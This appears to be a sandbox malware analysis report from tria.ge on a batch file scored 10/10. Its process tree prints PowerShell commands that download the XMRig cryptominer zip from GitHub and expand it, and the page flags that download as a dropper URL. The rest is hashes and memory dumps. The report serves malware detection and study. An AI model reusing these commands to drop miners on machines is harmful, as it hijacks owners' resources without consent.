Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

tesy - Copy (10).bat

windows10-1703-x64

10

tesy - Copy (11).bat

windows10-1703-x64

10

tesy - Copy (12).bat

windows10-1703-x64

10

tesy - Copy (13).bat

windows10-1703-x64

10

tesy - Copy (14).bat

windows10-1703-x64

10

tesy - Copy (2).bat

windows10-1703-x64

10

tesy - Copy (3).bat

windows10-1703-x64

10

tesy - Copy (4).bat

windows10-1703-x64

10

tesy - Copy (5).bat

windows10-1703-x64

10

tesy - Copy (6).bat

windows10-1703-x64

10

tesy - Copy (7).bat

windows10-1703-x64

10

tesy - Copy (8).bat

windows10-1703-x64

10

tesy - Copy (9).bat

windows10-1703-x64

10

tesy - Copy.bat

windows10-1703-x64

10

tesy.bat

windows10-1703-x64

10

Analysis

  • max time kernel
    1s
  • max time network
    2s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    tesy - Copy (11).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
        PID:236
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
        2⤵
          PID:1788

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        Filesize

        3KB

        MD5

        56efdb5a0f10b5eece165de4f8c9d799

        SHA1

        fa5de7ca343b018c3bfeab692545eb544c244e16

        SHA256

        6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

        SHA512

        91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        509644bb2a71814e0b77e3278757f4a4

        SHA1

        ba420026c557beff121f8c2159e60a506eaf15b7

        SHA256

        b527d1fe0f13d81c080c0188f70cb624b70f42481a4ec38e8f749548223a8f32

        SHA512

        2f238809d103fe8f5f1d74b2b9c020ab2307a4ed588795bec3c412964f2a670ce8f952997541edfc42bab942dbc9e9698cc58e326121fc8f6c8b62ef1a992fd1

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2p2eceoh.ynu.ps1
        Filesize

        1B

        MD5

        c4ca4238a0b923820dcc509a6f75849b

        SHA1

        356a192b7913b04c54574d18c28d46e6395428ab

        SHA256

        6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

        SHA512

        4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        Download Submit

      • memory/236-25-0x00000133CDF80000-0x00000133CDF90000-memory.dmp

        Filesize

        64KB

        Download

      • memory/236-6-0x00000133CDF80000-0x00000133CDF90000-memory.dmp

        Filesize

        64KB

        Download

      • memory/236-4-0x00000133E6340000-0x00000133E6362000-memory.dmp

        Filesize

        136KB

        Download

      • memory/236-5-0x00007FFABE960000-0x00007FFABF34C000-memory.dmp

        Filesize

        9.9MB

        Download

      • memory/236-10-0x00000133E6470000-0x00000133E64E6000-memory.dmp

        Filesize

        472KB

        Download

      • memory/236-7-0x00000133CDF80000-0x00000133CDF90000-memory.dmp

        Filesize

        64KB

        Download

      • memory/236-30-0x00007FFABE960000-0x00007FFABF34C000-memory.dmp

        Filesize

        9.9MB

        Download

      • memory/1788-38-0x00007FFABE960000-0x00007FFABF34C000-memory.dmp

        Filesize

        9.9MB

        Download

      • memory/1788-40-0x000002CC3F390000-0x000002CC3F3A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1788-39-0x000002CC3F390000-0x000002CC3F3A0000-memory.dmp

        Filesize

        64KB

        Download